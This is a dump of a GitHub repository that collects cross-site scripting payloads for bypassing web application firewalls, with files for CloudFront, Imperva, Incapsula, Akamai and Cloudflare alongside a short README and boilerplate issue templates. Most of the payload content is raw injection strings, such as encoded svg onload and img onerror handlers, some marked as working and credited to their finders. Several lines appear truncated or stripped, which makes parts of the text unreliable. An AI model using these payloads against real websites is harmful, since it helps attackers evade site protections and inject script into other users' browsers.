├── .github └── ISSUE_TEMPLATE │ ├── custom.md │ └── feature_request.md ├── README.md ├── cloudfront xss payloads ├── Imperva xss payloads ├── Incapsula xss payloads ├── akamai xss payloads └── Cloudflare xss payloads /.github/ISSUE_TEMPLATE/custom.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Custom issue template 3 | about: Describe this issue template's purpose here. 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WAF-bypass-xss-payloads 2 | 3 | Trying to gather xss payloads from the internet that bypasses WAF. All credit goes to the owners of the payloads. 4 | 5 | #Note: 6 | These payloads may not be a global bypass but working on specific endpoints. 7 | -------------------------------------------------------------------------------- /cloudfront xss payloads: -------------------------------------------------------------------------------- 1 | ">%0D%0A%0D%0A 2 | ">'>

3 | 6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/ 4 | "><img src=x onerror=confirm(1);> 5 | 6 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /Imperva xss payloads: -------------------------------------------------------------------------------- 1 | clickme (working)-Pinaki @0xInfection(Make sure to URL encode the payload properly) 2 | tarun">click (workin)Pinaki @0xInfection (Make sure the applications decodes the payload from encoded) 4 |

- @xsspayloads 5 |

5 |

6 | 2 | 3 | 10 | 11 | %2sscript%2ualert()%2s/script%2u 12 | 14 |